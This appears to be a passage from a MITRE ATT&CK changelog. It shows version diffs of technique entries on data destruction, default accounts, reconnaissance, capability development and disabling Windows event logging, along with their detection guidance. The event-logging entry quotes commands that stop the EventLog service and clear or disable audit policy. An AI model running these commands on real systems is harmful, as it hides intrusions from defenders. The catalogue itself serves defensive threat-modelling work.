To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018) | Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider) |
| x_mitre_data_sources[0] | File monitoring | Process: Process Creation |
| x_mitre_data_sources[1] | Process command-line parameters | Command: Command Execution |
| x_mitre_data_sources[2] | Process monitoring | File: File Modification |
| x_mitre_detection | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\. | Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under C:\Windows\System32\.
In cloud environments, the occurrence of anomalous high-volume deletion events, such as the DeleteDBCluster and DeleteGlobalCluster events in AWS, or a high quantity of data deletion events, such as DeleteBucket, within a short period of time may indicate suspicious activity. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Data Destruction - Threat Post', 'description': 'Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code Spaces Out of Business. Retrieved December 15, 2020.', 'url': 'https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/'} | |
| external_references | {'source_name': 'DOJ - Cisco Insider', 'description': 'DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging Cisco’s Network. Retrieved December 15, 2020.', 'url': 'https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network'} | |
| x_mitre_data_sources | File: File Deletion | |
| x_mitre_data_sources | Image: Image Deletion | |
| x_mitre_data_sources | Instance: Instance Deletion | |
| x_mitre_data_sources | Snapshot: Snapshot Deletion | |
| x_mitre_data_sources | Cloud Storage: Cloud Storage Deletion | |
| x_mitre_data_sources | Volume: Volume Deletion | |
| x_mitre_platforms | Windows | |
| x_mitre_platforms | IaaS |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | Windows |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:48:08.180000+00:00 | 2021-03-08 10:33:00.855000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | Process monitoring | File: File Creation |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.2 | 1.3 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-07-09 14:02:05.276000+00:00 | 2021-03-08 10:33:01.374000+00:00 |
| x_mitre_data_sources[0] | Stackdriver logs | Cloud Storage: Cloud Storage Access |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.3
Version changed from: 1.2 → 1.3
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-05-26 19:21:25.974000+00:00 | 2021-10-15 22:16:42.734000+00:00 |
| x_mitre_data_sources[0] | File monitoring | Script: Script Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Access |
| x_mitre_data_sources[2] | Process command-line parameters | Command: Command Execution |
| x_mitre_version | 1.2 | 1.3 |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['William Cain'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-24 15:44:46.584000+00:00 | 2021-10-15 22:17:35.218000+00:00 |
| x_mitre_data_sources[0] | File monitoring | File: File Access |
| x_mitre_data_sources[1] | Process monitoring | Command: Command Execution |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-22 15:19:31.682000+00:00 | 2021-03-08 10:33:01.150000+00:00 |
| x_mitre_data_sources[0] | Packet capture | File: File Modification |
| x_mitre_data_sources[1] | Web application firewall logs | File: File Creation |
| x_mitre_data_sources[2] | Web logs | Application Log: Application Log Content |
| x_mitre_data_sources[3] | Packet capture | Network Traffic: Network Traffic Content |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | IaaS |
| x_mitre_platforms[2] | Windows | Linux |
| x_mitre_platforms[3] | AWS | macOS |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.2
Version changed from: 1.1 → 1.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may obtain and abuse credentials of a default ac | t | 1 | Adversaries may obtain and abuse credentials of a default ac |
| > | count as a means of gaining Initial Access, Persistence, Pri | > | count as a means of gaining Initial Access, Persistence, Pri | ||
| > | vilege Escalation, or Defense Evasion. Default accounts are | > | vilege Escalation, or Defense Evasion. Default accounts are | ||
| > | those that are built-into an OS, such as the Guest or Admini | > | those that are built-into an OS, such as the Guest or Admini | ||
| > | strator accounts on Windows systems or default factory/provi | > | strator accounts on Windows systems. Default accounts also i | ||
| > | der set accounts on other types of systems, software, or dev | > | nclude default factory/provider set accounts on other types | ||
| > | ices.(Citation: Microsoft Local Accounts Feb 2019) Default | > | of systems, software, or devices, including the root user ac | ||
| > | accounts are not limited to client machines, rather also inc | > | count in AWS and the default service account in Kubernetes.( | ||
| > | lude accounts that are preset for equipment such as network | > | Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS R | ||
| > | devices and computer applications whether they are internal, | > | oot User)(Citation: Threat Matrix for Kubernetes) Default a | ||
| > | open source, or commercial. Appliances that come preset wit | > | ccounts are not limited to client machines, rather also incl | ||
| > | h a username and password combination pose a serious threat | > | ude accounts that are preset for equipment such as network d | ||
| > | to organizations that do not change it post installation, as | > | evices and computer applications whether they are internal, | ||
| > | they are easy targets for an adversary. Similarly, adversar | > | open source, or commercial. Appliances that come preset with | ||
| > | ies may also utilize publicly disclosed or stolen [Private K | > | a username and password combination pose a serious threat t | ||
| > | eys](https://attack.mitre.org/techniques/T1552/004) or crede | > | o organizations that do not change it post installation, as | ||
| > | ntial materials to legitimately connect to remote environmen | > | they are easy targets for an adversary. Similarly, adversari | ||
| > | ts via [Remote Services](https://attack.mitre.org/techniques | > | es may also utilize publicly disclosed or stolen [Private Ke | ||
| > | /T1021).(Citation: Metasploit SSH Module) | > | ys](https://attack.mitre.org/techniques/T1552/004) or creden | ||
| > | tial materials to legitimately connect to remote environment | ||||
| > | s via [Remote Services](https://attack.mitre.org/techniques/ | ||||
| > | T1021).(Citation: Metasploit SSH Module) | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 19:41:43.491000+00:00 | 2021-04-05 20:14:26.846000+00:00 |
| description | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems or default factory/provider set accounts on other types of systems, software, or devices.(Citation: Microsoft Local Accounts Feb 2019) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) | Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes) Default accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module) |
| external_references[3]['source_name'] | Metasploit SSH Module | AWS Root User |
| external_references[3]['description'] | undefined. (n.d.). Retrieved April 12, 2019. | Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021. |
| external_references[3]['url'] | https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh | https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html |
| x_mitre_data_sources[0] | AWS CloudTrail logs | User Account: User Account Authentication |
| x_mitre_data_sources[1] | Stackdriver logs | Logon Session: Logon Session Creation |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure | Linux |
| x_mitre_platforms[6] | Office 365 | macOS |
| x_mitre_platforms[7] | Azure AD | Google Workspace |
| x_mitre_platforms[8] | SaaS | Containers |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Threat Matrix for Kubernetes', 'description': 'Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.', 'url': 'https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/'} | |
| external_references | {'source_name': 'Metasploit SSH Module', 'description': 'Metasploit. (n.d.). Retrieved April 12, 2019.', 'url': 'https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh'} |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Authentication logs | |
| x_mitre_data_sources | Process monitoring |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-14 19:55:23.113000+00:00 | 2021-03-08 10:33:02.083000+00:00 |
| x_mitre_data_sources[0] | GCP audit logs | Instance: Instance Deletion |
| x_mitre_platforms[0] | AWS | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Stackdriver logs | |
| x_mitre_data_sources | Azure activity logs | |
| x_mitre_data_sources | AWS CloudTrail logs | |
| x_mitre_platforms | GCP | |
| x_mitre_platforms | Azure |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may gather the vic | t | 1 | Adversaries may gather the victim's physical location(s) tha |
| > | tim's physical location(s) that can be used during targeting | > | t can be used during targeting. Information about physical l | ||
| > | . Information about physical locations of a target organizat | > | ocations of a target organization may include a variety of d | ||
| > | ion may include a variety of details, including where key re | > | etails, including where key resources and infrastructure are | ||
| > | sources and infrastructure are housed. Physical locations ma | > | housed. Physical locations may also indicate what legal jur | ||
| > | y also indicate what legal jurisdiction and/or authorities t | > | isdiction and/or authorities the victim operates within. Ad | ||
| > | he victim operates within. Adversaries may gather this info | > | versaries may gather this information in various ways, such | ||
| > | rmation in various ways, such as direct elicitation via [Phi | > | as direct elicitation via [Phishing for Information](https:/ | ||
| > | shing for Information](https://attack.mitre.org/techniques/T | > | /attack.mitre.org/techniques/T1598). Physical locations of a | ||
| > | 1598). Physical locations of a target organization may also | > | target organization may also be exposed to adversaries via | ||
| > | be exposed to adversaries via online or other accessible dat | > | online or other accessible data sets (ex: [Search Victim-Own | ||
| > | a sets (ex: [Search Victim-Owned Websites](https://attack.mi | > | ed Websites](https://attack.mitre.org/techniques/T1594) or [ | ||
| > | tre.org/techniques/T1594) or [Social Media](https://attack.m | > | Social Media](https://attack.mitre.org/techniques/T1593/001) | ||
| > | itre.org/techniques/T1593/001)).(Citation: ThreatPost Broadv | > | ).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR | ||
| > | oice Leak)(Citation: DOB Business Lookup) Gathering this inf | > | Search) Gathering this information may reveal opportunities | ||
| > | ormation may reveal opportunities for other forms of reconna | > | for other forms of reconnaissance (ex: [Phishing for Inform | ||
| > | issance (ex: [Phishing for Information](https://attack.mitre | > | ation](https://attack.mitre.org/techniques/T1598) or [Search | ||
| > | .org/techniques/T1598) or [Search Open Websites/Domains](htt | > | Open Websites/Domains](https://attack.mitre.org/techniques/ | ||
| > | ps://attack.mitre.org/techniques/T1593)), establishing opera | > | T1593)), establishing operational resources (ex: [Develop Ca | ||
| > | tional resources (ex: [Develop Capabilities](https://attack. | > | pabilities](https://attack.mitre.org/techniques/T1587) or [O | ||
| > | mitre.org/techniques/T1587) or [Obtain Capabilities](https:/ | > | btain Capabilities](https://attack.mitre.org/techniques/T158 | ||
| > | /attack.mitre.org/techniques/T1588)), and/or initial access | > | 8)), and/or initial access (ex: [Phishing](https://attack.mi | ||
| > | (ex: [Phishing](https://attack.mitre.org/techniques/T1566) o | > | tre.org/techniques/T1566) or [Hardware Additions](https://at | ||
| > | r [Hardware Additions](https://attack.mitre.org/techniques/T | > | tack.mitre.org/techniques/T1200)). | ||
| > | 1200)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:09:48.419000+00:00 | 2021-08-27 15:37:09.025000+00:00 |
| description | Before compromising a victim, adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: DOB Business Lookup) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). | Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within. Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)). |
| external_references[2]['source_name'] | DOB Business Lookup | SEC EDGAR Search |
| external_references[2]['description'] | Concert Technologies . (n.d.). Business Lookup - Company Name Search. Retrieved October 20, 2020. | U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved August 27, 2021. |
| external_references[2]['url'] | https://www.dobsearch.com/business-lookup/ | https://www.sec.gov/edgar/search-and-access |
| x_mitre_version | 1.0 | 1.1 |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may build capabili | t | 1 | Adversaries may build capabilities that can be used during t |
| > | ties that can be used during targeting. Rather than purchasi | > | argeting. Rather than purchasing, freely downloading, or ste | ||
| > | ng, freely downloading, or stealing capabilities, adversarie | > | aling capabilities, adversaries may develop their own capabi | ||
| > | s may develop their own capabilities in-house. This is the p | > | lities in-house. This is the process of identifying developm | ||
| > | rocess of identifying development requirements and building | > | ent requirements and building solutions such as malware, exp | ||
| > | solutions such as malware, exploits, and self-signed certifi | > | loits, and self-signed certificates. Adversaries may develop | ||
| > | cates. Adversaries may develop capabilities to support their | > | capabilities to support their operations throughout numerou | ||
| > | operations throughout numerous phases of the adversary life | > | s phases of the adversary lifecycle.(Citation: Mandiant APT1 | ||
| > | cycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)( | > | )(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPi | ||
| > | Citation: Bitdefender StrongPity June 2020)(Citation: Talos | > | ty June 2020)(Citation: Talos Promethium June 2020) As with | ||
| > | Promethium June 2020) As with legitimate development effort | > | legitimate development efforts, different skill sets may be | ||
| > | s, different skill sets may be required for developing capab | > | required for developing capabilities. The skills needed may | ||
| > | ilities. The skills needed may be located in-house, or may n | > | be located in-house, or may need to be contracted out. Use | ||
| > | eed to be contracted out. Use of a contractor may be conside | > | of a contractor may be considered an extension of that adver | ||
| > | red an extension of that adversary's development capabilitie | > | sary's development capabilities, provided the adversary play | ||
| > | s, provided the adversary plays a role in shaping requiremen | > | s a role in shaping requirements and maintains a degree of e | ||
| > | ts and maintains a degree of exclusivity to the capability. | > | xclusivity to the capability. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | ['Malware Repository: Malware Metadata', 'Malware Repository: Malware Content', 'Internet Scan: Response Content'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-22 18:18:08.552000+00:00 | 2021-10-17 16:07:08.768000+00:00 |
| description | Before compromising a victim, adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. | Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020) As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability. |
| x_mitre_detection | Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. | Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control. |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Splunk Kovar Certificates 2017', 'description': 'Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.', 'url': 'https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html'} |
Current version: 1.2
Version changed from: 1.1 → 1.2
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-09-16 15:57:12.410000+00:00 | 2021-03-29 16:11:56.727000+00:00 |
| x_mitre_data_sources[0] | Sensor health and status | Sensor Health: Host Status |
| x_mitre_data_sources[1] | Network protocol analysis | Network Traffic: Network Traffic Flow |
| x_mitre_platforms[0] | Linux | Windows |
| x_mitre_platforms[1] | macOS | Azure AD |
| x_mitre_platforms[2] | Windows | Office 365 |
| x_mitre_platforms[3] | AWS | SaaS |
| x_mitre_platforms[4] | GCP | IaaS |
| x_mitre_platforms[5] | Azure AD | Linux |
| x_mitre_platforms[6] | SaaS | macOS |
| x_mitre_platforms[7] | Azure | Google Workspace |
| x_mitre_version | 1.1 | 1.2 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Network intrusion detection system | |
| x_mitre_data_sources | Network device logs | |
| x_mitre_platforms | Office 365 |
Current version: 1.1
Version changed from: 1.0 → 1.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-19 16:31:34.489000+00:00 | 2021-03-15 16:43:04.273000+00:00 |
| x_mitre_contributors[4] | AttackIQ | Alex Soler, AttackIQ |
| x_mitre_data_sources[0] | AWS CloudTrail logs | Cloud Service: Cloud Service Modification |
| x_mitre_data_sources[1] | Azure activity logs | Cloud Service: Cloud Service Disable |
| x_mitre_platforms[0] | GCP | IaaS |
| x_mitre_version | 1.0 | 1.1 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Syed Ummar Farooqh, McAfee | |
| x_mitre_contributors | Prasad Somasamudram, McAfee | |
| x_mitre_contributors | Sekhar Sarukkai, McAfee |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | Sekhar Sarukkai; Prasad Somasamudram; Syed Ummar Farooqh (McAfee) | |
| x_mitre_data_sources | GCP audit logs | |
| x_mitre_platforms | Azure | |
| x_mitre_platforms | AWS |
Current version: 1.1
Version changed from: 1.0 → 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may disable Windows event logging to limit data | t | 1 | Adversaries may disable Windows event logging to limit data |
| > | that can be leveraged for detections and audits. Windows eve | > | that can be leveraged for detections and audits. Windows eve | ||
| > | nt logs record user and system activity such as login attemp | > | nt logs record user and system activity such as login attemp | ||
| > | ts, process creation, and much more.(Citation: Windows Log E | > | ts, process creation, and much more.(Citation: Windows Log E | ||
| > | vents) This data is used by security tools and analysts to g | > | vents) This data is used by security tools and analysts to g | ||
| > | enerate detections. Adversaries may targeting system-wide l | > | enerate detections. The EventLog service maintains event lo | ||
| > | ogging or just that of a particular application. By disablin | > | gs from various system components and applications.(Citation | ||
| > | g Windows event logging, adversaries can operate while leavi | > | : EventLog_Core_Technologies) By default, the service automa | ||
| > | ng less evidence of a compromise behind. | > | tically starts when a system powers on. An audit policy, mai | ||
| > | ntained by the Local Security Policy (secpol.msc), defines w | ||||
| > | hich system events the EventLog service logs. Security audit | ||||
| > | policy settings can be changed by running secpol.msc, then | ||||
| > | navigating to <code>Security Settings\Local Policies\Audit P | ||||
| > | olicy</code> for basic audit policy settings or <code>Securi | ||||
| > | ty Settings\Advanced Audit Policy Configuration</code> for a | ||||
| > | dvanced audit policy settings.(Citation: Audit_Policy_Micros | ||||
| > | oft)(Citation: Advanced_sec_audit_policy_settings) <code>aud | ||||
| > | itpol.exe</code> may also be used to set audit policies.(Cit | ||||
| > | ation: auditpol) Adversaries may target system-wide logging | ||||
| > | or just that of a particular application. For example, the | ||||
| > | EventLog service may be disabled using the following PowerSh | ||||
| > | ell line: <code>Stop-Service -Name EventLog</code>.(Citation | ||||
| > | : Disable_Win_Event_Logging) Additionally, adversaries may u | ||||
| > | se <code>auditpol</code> and its sub-commands in a command p | ||||
| > | rompt to disable auditing or clear the audit policy. To enab | ||||
| > | le or disable a specified setting or audit category, adversa | ||||
| > | ries may use the <code>/success</code> or <code>/failure</co | ||||
| > | de> parameters. For example, <code>auditpol /set /category:” | ||||
| > | Account Logon” /success:disable /failure:disable</code> turn | ||||
| > | s off auditing for the Account Logon category.(Citation: aud | ||||
| > | itpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clea | ||||
| > | r the audit policy, adversaries may run the following lines: | ||||
| > | <code>auditpol /clear /y</code> or <code>auditpol /remove / | ||||
| > | allusers</code>.(Citation: T1562.002_redcanaryco) By disabl | ||||
| > | ing Windows event logging, adversaries can operate while lea | ||||
| > | ving less evidence of a compromise behind. | ||||
New Mitigations:
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_contributors | ['Prasanth Sadanala, Cigna Information Protection (CIP) - Threat Response Engineering Team'] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-03-29 22:02:33.870000+00:00 | 2021-10-19 13:37:30.534000+00:00 |
| description | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections. Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind. | Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.
The EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\Local Policies\Audit Policy for basic audit policy settings or Security Settings\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)
